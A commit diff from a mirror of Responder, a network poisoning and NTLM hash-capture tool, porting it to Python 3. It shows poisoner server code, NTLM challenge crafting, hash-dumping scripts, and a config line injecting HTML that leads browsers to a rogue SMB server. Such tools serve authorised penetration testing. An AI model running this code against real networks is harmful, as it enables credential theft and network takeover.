mirror of
https://github.com/lgandx/Responder.git
synced 2025-07-06 04:51:23 -07:00
Added py3 and py2 compatibility + many bugfix
This commit is contained in:
parent
c52843a535
commit
b510b2bb25
49 changed files with 2771 additions and 2058 deletions
|
@ -39,11 +39,11 @@ def GetResponderCompleteNTLMv1Hash(cursor):
|
||||||
return Output
|
return Output
|
||||||
|
|
||||||
cursor = DbConnect()
|
cursor = DbConnect()
|
||||||
print "Dumping NTLMV2 hashes:"
|
print("Dumping NTLMV2 hashes:")
|
||||||
v2 = GetResponderCompleteNTLMv2Hash(cursor)
|
v2 = GetResponderCompleteNTLMv2Hash(cursor)
|
||||||
DumpHashToFile("DumpNTLMv2.txt", v2)
|
DumpHashToFile("DumpNTLMv2.txt", v2)
|
||||||
print v2
|
print(v2)
|
||||||
print "\nDumping NTLMv1 hashes:"
|
print("\nDumping NTLMv1 hashes:")
|
||||||
v1 = GetResponderCompleteNTLMv1Hash(cursor)
|
v1 = GetResponderCompleteNTLMv1Hash(cursor)
|
||||||
DumpHashToFile("DumpNTLMv1.txt", v1)
|
DumpHashToFile("DumpNTLMv1.txt", v1)
|
||||||
print v1
|
print(v1)
|
||||||
|
|
12
Report.py
12
Report.py
|
@ -39,7 +39,7 @@ def GetResponderData(cursor):
|
||||||
def GetResponderUsernamesStatistic(cursor):
|
def GetResponderUsernamesStatistic(cursor):
|
||||||
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
res = cursor.execute("SELECT COUNT(DISTINCT UPPER(user)) FROM Responder")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1)
|
print(color('[+] In total {0} unique user accounts were captured.'.format(row[0]), code = 2, modifier = 1))
|
||||||
|
|
||||||
def GetResponderUsernames(cursor):
|
def GetResponderUsernames(cursor):
|
||||||
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
res = cursor.execute("SELECT DISTINCT user FROM Responder")
|
||||||
|
@ -66,7 +66,7 @@ def GetUniqueLookups(cursor):
|
||||||
def GetStatisticUniqueLookups(cursor):
|
def GetStatisticUniqueLookups(cursor):
|
||||||
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
res = cursor.execute("SELECT COUNT(*) FROM Poisoned WHERE ForName in (SELECT DISTINCT UPPER(ForName) FROM Poisoned)")
|
||||||
for row in res.fetchall():
|
for row in res.fetchall():
|
||||||
print color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1)
|
print(color('[+] In total {0} unique queries were poisoned.'.format(row[0]), code = 2, modifier = 1))
|
||||||
|
|
||||||
|
|
||||||
def SavePoisonersToDb(result):
|
def SavePoisonersToDb(result):
|
||||||
|
@ -82,13 +82,13 @@ def SaveToDb(result):
|
||||||
result[k] = ''
|
result[k] = ''
|
||||||
|
|
||||||
cursor = DbConnect()
|
cursor = DbConnect()
|
||||||
print color("[+] Generating report...", code = 3, modifier = 1)
|
print(color("[+] Generating report...", code = 3, modifier = 1))
|
||||||
print color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1)
|
print(color("[+] Unique lookups ordered by IP:", code = 2, modifier = 1))
|
||||||
GetUniqueLookups(cursor)
|
GetUniqueLookups(cursor)
|
||||||
GetStatisticUniqueLookups(cursor)
|
GetStatisticUniqueLookups(cursor)
|
||||||
print color("\n[+] Extracting captured usernames:", code = 2, modifier = 1)
|
print(color("\n[+] Extracting captured usernames:", code = 2, modifier = 1))
|
||||||
GetResponderUsernames(cursor)
|
GetResponderUsernames(cursor)
|
||||||
print color("\n[+] Username details:", code = 2, modifier = 1)
|
print(color("\n[+] Username details:", code = 2, modifier = 1))
|
||||||
GetResponderUsernamesWithDetails(cursor)
|
GetResponderUsernamesWithDetails(cursor)
|
||||||
GetResponderUsernamesStatistic(cursor)
|
GetResponderUsernamesStatistic(cursor)
|
||||||
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
#print color("\n[+] Captured hashes:", code = 2, modifier = 1)
|
||||||
|
|
|
@ -40,8 +40,8 @@ RespondTo =
|
||||||
|
|
||||||
; Specific NBT-NS/LLMNR names to respond to (default = All)
|
; Specific NBT-NS/LLMNR names to respond to (default = All)
|
||||||
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
; Example: RespondTo = WPAD, DEV, PROD, SQLINT
|
||||||
|
;RespondToName = WPAD, DEV, PROD, SQLINT
|
||||||
RespondToName =
|
RespondToName =
|
||||||
|
|
||||||
; Specific IP Addresses not to respond to (default = None)
|
; Specific IP Addresses not to respond to (default = None)
|
||||||
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
; Example: DontRespondTo = 10.20.1.100-150, 10.20.3.10
|
||||||
DontRespondTo =
|
DontRespondTo =
|
||||||
|
@ -91,7 +91,7 @@ WPADScript = function FindProxyForURL(url, host){if ((host == "localhost") || sh
|
||||||
; HTML answer to inject in HTTP responses (before </body> tag).
|
; HTML answer to inject in HTTP responses (before </body> tag).
|
||||||
; Set to an empty string to disable.
|
; Set to an empty string to disable.
|
||||||
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
; In this example, we redirect make users' browsers issue a request to our rogue SMB server.
|
||||||
HTMLToInject = <img src='file://RespProxySrv/pictures/logo.jpg' alt='Loading' height='1' width='1'>
|
HTMLToInject = <img src='file://///RespProxySrv/pictures/logso.jpg' alt='Loading' height='1' width='1'>
|
||||||
|
|
||||||
[HTTPS Server]
|
[HTTPS Server]
|
||||||
|
|
||||||
|
|
48
Responder.py
48
Responder.py
|
@ -16,8 +16,10 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import optparse
|
import optparse
|
||||||
import ssl
|
import ssl
|
||||||
|
try:
|
||||||
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
|
from SocketServer import TCPServer, UDPServer, ThreadingMixIn
|
||||||
|
except:
|
||||||
|
from socketserver import TCPServer, UDPServer, ThreadingMixIn
|
||||||
from threading import Thread
|
from threading import Thread
|
||||||
from utils import *
|
from utils import *
|
||||||
import struct
|
import struct
|
||||||
|
@ -45,10 +47,10 @@ parser.add_option('-v','--verbose', action="store_true", help="Increase v
|
||||||
options, args = parser.parse_args()
|
options, args = parser.parse_args()
|
||||||
|
|
||||||
if not os.geteuid() == 0:
|
if not os.geteuid() == 0:
|
||||||
print color("[!] Responder must be run as root.")
|
print(color("[!] Responder must be run as root."))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
elif options.OURIP is None and IsOsX() is True:
|
elif options.OURIP is None and IsOsX() is True:
|
||||||
print "\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n"
|
print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n")
|
||||||
parser.print_help()
|
parser.print_help()
|
||||||
exit(-1)
|
exit(-1)
|
||||||
|
|
||||||
|
@ -60,7 +62,7 @@ StartupMessage()
|
||||||
settings.Config.ExpandIPRanges()
|
settings.Config.ExpandIPRanges()
|
||||||
|
|
||||||
if settings.Config.AnalyzeMode:
|
if settings.Config.AnalyzeMode:
|
||||||
print color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)
|
print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1))
|
||||||
|
|
||||||
#Create the DB, before we start Responder.
|
#Create the DB, before we start Responder.
|
||||||
CreateResponderDb()
|
CreateResponderDb()
|
||||||
|
@ -71,9 +73,13 @@ class ThreadingUDPServer(ThreadingMixIn, UDPServer):
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
pass
|
pass
|
||||||
|
else:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
except:
|
except:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
|
@ -83,9 +89,13 @@ class ThreadingTCPServer(ThreadingMixIn, TCPServer):
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
pass
|
pass
|
||||||
|
else:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
except:
|
except:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
|
|
||||||
|
@ -95,9 +105,13 @@ class ThreadingTCPServerAuth(ThreadingMixIn, TCPServer):
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
pass
|
pass
|
||||||
|
else:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
except:
|
except:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_LINGER, struct.pack('ii', 1, 0))
|
||||||
TCPServer.server_bind(self)
|
TCPServer.server_bind(self)
|
||||||
|
@ -115,9 +129,13 @@ class ThreadingUDPMDNSServer(ThreadingMixIn, UDPServer):
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
pass
|
pass
|
||||||
|
else:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
except:
|
except:
|
||||||
|
raise
|
||||||
pass
|
pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
|
@ -133,10 +151,14 @@ class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer):
|
||||||
try:
|
try:
|
||||||
if settings.Config.Bind_To_ALL:
|
if settings.Config.Bind_To_ALL:
|
||||||
pass
|
pass
|
||||||
|
else:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, bytes(settings.Config.Interface+'\0', 'utf-8'))
|
||||||
else:
|
else:
|
||||||
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
self.socket.setsockopt(socket.SOL_SOCKET, 25, settings.Config.Interface+'\0')
|
||||||
except:
|
except:
|
||||||
pass
|
raise
|
||||||
|
#pass
|
||||||
UDPServer.server_bind(self)
|
UDPServer.server_bind(self)
|
||||||
|
|
||||||
ThreadingUDPServer.allow_reuse_address = 1
|
ThreadingUDPServer.allow_reuse_address = 1
|
||||||
|
@ -150,7 +172,7 @@ def serve_thread_udp_broadcast(host, port, handler):
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
server = ThreadingUDPServer((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_NBTNS_poisoner(host, port, handler):
|
def serve_NBTNS_poisoner(host, port, handler):
|
||||||
serve_thread_udp_broadcast(host, port, handler)
|
serve_thread_udp_broadcast(host, port, handler)
|
||||||
|
@ -160,7 +182,7 @@ def serve_MDNS_poisoner(host, port, handler):
|
||||||
server = ThreadingUDPMDNSServer((host, port), handler)
|
server = ThreadingUDPMDNSServer((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_LLMNR_poisoner(host, port, handler):
|
def serve_LLMNR_poisoner(host, port, handler):
|
||||||
try:
|
try:
|
||||||
|
@ -168,7 +190,7 @@ def serve_LLMNR_poisoner(host, port, handler):
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
raise
|
raise
|
||||||
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_thread_udp(host, port, handler):
|
def serve_thread_udp(host, port, handler):
|
||||||
try:
|
try:
|
||||||
|
@ -179,7 +201,7 @@ def serve_thread_udp(host, port, handler):
|
||||||
server = ThreadingUDPServer((host, port), handler)
|
server = ThreadingUDPServer((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running."
|
print(color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_thread_tcp(host, port, handler):
|
def serve_thread_tcp(host, port, handler):
|
||||||
try:
|
try:
|
||||||
|
@ -190,7 +212,7 @@ def serve_thread_tcp(host, port, handler):
|
||||||
server = ThreadingTCPServer((host, port), handler)
|
server = ThreadingTCPServer((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
|
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_thread_tcp_auth(host, port, handler):
|
def serve_thread_tcp_auth(host, port, handler):
|
||||||
try:
|
try:
|
||||||
|
@ -201,7 +223,7 @@ def serve_thread_tcp_auth(host, port, handler):
|
||||||
server = ThreadingTCPServerAuth((host, port), handler)
|
server = ThreadingTCPServerAuth((host, port), handler)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running."
|
print(color("[!] ", 1, 1) + "Error starting TCP server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def serve_thread_SSL(host, port, handler):
|
def serve_thread_SSL(host, port, handler):
|
||||||
try:
|
try:
|
||||||
|
@ -218,7 +240,7 @@ def serve_thread_SSL(host, port, handler):
|
||||||
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
server.socket = ssl.wrap_socket(server.socket, certfile=cert, keyfile=key, server_side=True)
|
||||||
server.serve_forever()
|
server.serve_forever()
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running."
|
print(color("[!] ", 1, 1) + "Error starting SSL server on port " + str(port) + ", check permissions or other servers running.")
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
try:
|
try:
|
||||||
|
@ -306,7 +328,7 @@ def main():
|
||||||
thread.setDaemon(True)
|
thread.setDaemon(True)
|
||||||
thread.start()
|
thread.start()
|
||||||
|
|
||||||
print color('[+]', 2, 1) + " Listening for events..."
|
print(color('[+]', 2, 1) + " Listening for events...")
|
||||||
|
|
||||||
while True:
|
while True:
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
0
files/BindShell.exe
Normal file → Executable file
0
files/BindShell.exe
Normal file → Executable file
|
@ -16,14 +16,20 @@
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import socket
|
import socket
|
||||||
import struct
|
import struct
|
||||||
|
import sys
|
||||||
|
|
||||||
from utils import color
|
from utils import color, StructPython2or3, NetworkSendBufferPython2or3, NetworkRecvBufferPython2or3
|
||||||
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
from packets import SMBHeader, SMBNego, SMBNegoFingerData, SMBSessionFingerData
|
||||||
|
|
||||||
def OsNameClientVersion(data):
|
def OsNameClientVersion(data):
|
||||||
try:
|
try:
|
||||||
|
if (sys.version_info > (3, 0)):
|
||||||
|
length = struct.unpack('<H',data[43:45])[0]
|
||||||
|
packet = NetworkRecvBufferPython2or3(data[47+length:])
|
||||||
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in packet.split('\x00\x00\x00')[:2]])
|
||||||
|
return OsVersion, ClientVersion
|
||||||
|
else:
|
||||||
length = struct.unpack('<H',data[43:45])[0]
|
length = struct.unpack('<H',data[43:45])[0]
|
||||||
pack = tuple(data[47+length:].split('\x00\x00\x00'))[:2]
|
|
||||||
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
OsVersion, ClientVersion = tuple([e.replace('\x00','') for e in data[47+length:].split('\x00\x00\x00')[:2]])
|
||||||
return OsVersion, ClientVersion
|
return OsVersion, ClientVersion
|
||||||
except:
|
except:
|
||||||
|
@ -35,28 +41,26 @@ def RunSmbFinger(host):
|
||||||
s.connect(host)
|
s.connect(host)
|
||||||
s.settimeout(0.7)
|
s.settimeout(0.7)
|
||||||
|
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
h = SMBHeader(cmd='\x72',flag1='\x18',flag2='\x53\xc8')
|
||||||
n = SMBNego(data = SMBNegoFingerData())
|
n = SMBNego(data = str(SMBNegoFingerData()))
|
||||||
n.calculate()
|
n.calculate()
|
||||||
|
|
||||||
Packet = str(h)+str(n)
|
Packet = str(h)+str(n)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
s.send(Buffer)
|
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
if data[8:10] == "\x72\x00":
|
if data[8:10] == b'\x72\x00':
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
Header = SMBHeader(cmd="\x73",flag1="\x18",flag2="\x17\xc8",uid="\x00\x00")
|
||||||
Body = SMBSessionFingerData()
|
Body = SMBSessionFingerData()
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
|
|
||||||
Packet = str(Header)+str(Body)
|
Packet = str(Header)+str(Body)
|
||||||
Buffer = struct.pack(">i", len(''.join(Packet)))+Packet
|
Buffer1 = StructPython2or3('>i', str(Packet))+str(Packet)
|
||||||
|
s.send(NetworkSendBufferPython2or3(Buffer1))
|
||||||
s.send(Buffer)
|
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
|
|
||||||
if data[8:10] == "\x73\x16":
|
if data[8:10] == b'\x73\x16':
|
||||||
return OsNameClientVersion(data)
|
return OsNameClientVersion(data)
|
||||||
except:
|
except:
|
||||||
print color("[!] ", 1, 1) +" Fingerprint failed"
|
print(color("[!] ", 1, 1) +" Fingerprint failed")
|
||||||
return None
|
return None
|
||||||
|
|
38
odict.py
38
odict.py
|
@ -1,20 +1,9 @@
|
||||||
#!/usr/bin/env python
|
import sys
|
||||||
# This file is part of Responder, a network take-over set of tools
|
try:
|
||||||
# created and maintained by Laurent Gaffie.
|
|
||||||
# email: laurent.gaffie@gmail.com
|
|
||||||
# This program is free software: you can redistribute it and/or modify
|
|
||||||
# it under the terms of the GNU General Public License as published by
|
|
||||||
# the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
from UserDict import DictMixin
|
from UserDict import DictMixin
|
||||||
|
except ImportError:
|
||||||
|
from collections import UserDict
|
||||||
|
from collections import MutableMapping as DictMixin
|
||||||
|
|
||||||
class OrderedDict(dict, DictMixin):
|
class OrderedDict(dict, DictMixin):
|
||||||
|
|
||||||
|
@ -77,12 +66,22 @@ class OrderedDict(dict, DictMixin):
|
||||||
inst_dict = vars(self).copy()
|
inst_dict = vars(self).copy()
|
||||||
self.__map, self.__end = tmp
|
self.__map, self.__end = tmp
|
||||||
if inst_dict:
|
if inst_dict:
|
||||||
return self.__class__, (items,), inst_dict
|
return (self.__class__, (items,), inst_dict)
|
||||||
return self.__class__, (items,)
|
return self.__class__, (items,)
|
||||||
|
|
||||||
def keys(self):
|
def keys(self):
|
||||||
return list(self)
|
return list(self)
|
||||||
|
|
||||||
|
if sys.version_info >= (3, 0):
|
||||||
|
setdefault = DictMixin.setdefault
|
||||||
|
update = DictMixin.update
|
||||||
|
pop = DictMixin.pop
|
||||||
|
values = DictMixin.values
|
||||||
|
items = DictMixin.items
|
||||||
|
iterkeys = DictMixin.keys
|
||||||
|
itervalues = DictMixin.values
|
||||||
|
iteritems = DictMixin.items
|
||||||
|
else:
|
||||||
setdefault = DictMixin.setdefault
|
setdefault = DictMixin.setdefault
|
||||||
update = DictMixin.update
|
update = DictMixin.update
|
||||||
pop = DictMixin.pop
|
pop = DictMixin.pop
|
||||||
|
@ -115,3 +114,8 @@ class OrderedDict(dict, DictMixin):
|
||||||
|
|
||||||
def __ne__(self, other):
|
def __ne__(self, other):
|
||||||
return not self == other
|
return not self == other
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
d = OrderedDict([('foo',2),('bar',3),('baz',4),('zot',5),('arrgh',6)])
|
||||||
|
assert [x for x in d] == ['foo', 'bar', 'baz', 'zot', 'arrgh']
|
||||||
|
|
448
packets.py
448
packets.py
|
@ -14,12 +14,14 @@
|
||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
|
||||||
import struct
|
import struct
|
||||||
import settings
|
import settings
|
||||||
|
import codecs
|
||||||
|
|
||||||
from base64 import b64decode, b64encode
|
from base64 import b64decode, b64encode
|
||||||
from odict import OrderedDict
|
from odict import OrderedDict
|
||||||
from utils import HTTPCurrentDate, RespondWithIPAton
|
from utils import HTTPCurrentDate, RespondWithIPAton, StructPython2or3, NetworkRecvBufferPython2or3, StructWithLenPython2or3
|
||||||
|
|
||||||
# Packet class handling all packet generation (see odict.py).
|
# Packet class handling all packet generation (see odict.py).
|
||||||
class Packet():
|
class Packet():
|
||||||
|
@ -55,8 +57,8 @@ class NBT_Ans(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self,data):
|
def calculate(self,data):
|
||||||
self.fields["Tid"] = data[0:2]
|
self.fields["Tid"] = NetworkRecvBufferPython2or3(data[0:2])
|
||||||
self.fields["NbtName"] = data[12:46]
|
self.fields["NbtName"] = NetworkRecvBufferPython2or3(data[12:46])
|
||||||
self.fields["IP"] = RespondWithIPAton()
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
|
|
||||||
# DNS Answer Packet
|
# DNS Answer Packet
|
||||||
|
@ -84,7 +86,7 @@ class DNS_Ans(Packet):
|
||||||
self.fields["Tid"] = data[0:2]
|
self.fields["Tid"] = data[0:2]
|
||||||
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
self.fields["QuestionName"] = ''.join(data[12:].split('\x00')[:1])
|
||||||
self.fields["IP"] = RespondWithIPAton()
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
# LLMNR Answer Packet
|
# LLMNR Answer Packet
|
||||||
class LLMNR_Ans(Packet):
|
class LLMNR_Ans(Packet):
|
||||||
|
@ -112,9 +114,9 @@ class LLMNR_Ans(Packet):
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["IP"] = RespondWithIPAton()
|
self.fields["IP"] = RespondWithIPAton()
|
||||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1]
|
self.fields["AnswerNameLen"] = StructPython2or3(">B",self.fields["AnswerName"])
|
||||||
self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1]
|
self.fields["QuestionNameLen"] = StructPython2or3(">B",self.fields["QuestionName"])
|
||||||
|
|
||||||
# MDNS Answer Packet
|
# MDNS Answer Packet
|
||||||
class MDNS_Ans(Packet):
|
class MDNS_Ans(Packet):
|
||||||
|
@ -135,7 +137,7 @@ class MDNS_Ans(Packet):
|
||||||
])
|
])
|
||||||
|
|
||||||
def calculate(self):
|
def calculate(self):
|
||||||
self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"]))
|
self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"])
|
||||||
|
|
||||||
##### HTTP Packets #####
|
##### HTTP Packets #####
|
||||||
class NTLM_Challenge(Packet):
|
class NTLM_Challenge(Packet):
|
||||||
|
@ -181,26 +183,34 @@ class NTLM_Challenge(Packet):
|
||||||
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
self.fields["Av3Str"] = self.fields["Av3Str"].encode('utf-16le')
|
||||||
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
self.fields["Av4Str"] = self.fields["Av4Str"].encode('utf-16le')
|
||||||
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
self.fields["Av5Str"] = self.fields["Av5Str"].encode('utf-16le')
|
||||||
|
#Now from bytes to str..
|
||||||
|
self.fields["TargetNameStr"] = self.fields["TargetNameStr"].decode('latin-1')
|
||||||
|
self.fields["Av1Str"] = self.fields["Av1Str"].decode('latin-1')
|
||||||
|
self.fields["Av2Str"] = self.fields["Av2Str"].decode('latin-1')
|
||||||
|
self.fields["Av3Str"] = self.fields["Av3Str"].decode('latin-1')
|
||||||
|
self.fields["Av4Str"] = self.fields["Av4Str"].decode('latin-1')
|
||||||
|
self.fields["Av5Str"] = self.fields["Av5Str"].decode('latin-1')
|
||||||
# Then calculate
|
# Then calculate
|
||||||
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str(self.fields["ServerChallenge"])+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
|
||||||
|
CalculateNameOffset = str(self.fields["Signature"])+str(self.fields["SignatureNull"])+str(self.fields["MessageType"])+str(self.fields["TargetNameLen"])+str(self.fields["TargetNameMaxLen"])+str(self.fields["TargetNameOffset"])+str(self.fields["NegoFlags"])+str("A"*8)+str(self.fields["Reserved"])+str(self.fields["TargetInfoLen"])+str(self.fields["TargetInfoMaxLen"])+str(self.fields["TargetInfoOffset"])+str(self.fields["NTLMOsVersion"])
|
||||||
|
|
||||||
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
CalculateAvPairsOffset = CalculateNameOffset+str(self.fields["TargetNameStr"])
|
||||||
CalculateAvPairsLen = str(self.fields["Av1"])+str(self.fields["Av1Len"])+str(self.fields["Av1Str"])+str(self.fields["Av2"])+str(self.fields["Av2Len"])+str(self.fields["Av2Str"])+str(self.fields["Av3"])+str(self.fields["Av3Len"])+str(self.fields["Av3Str"])+str(self.fields["Av4"])+str(self.fields["Av4Len"])+str(self.fields["Av4Str"])+str(self.fields["Av5"])+str(self.fields["Av5Len"])+str(self.fields["Av5Str"])+str(self.fields["Av6"])+str(self.fields["Av6Len"])
|
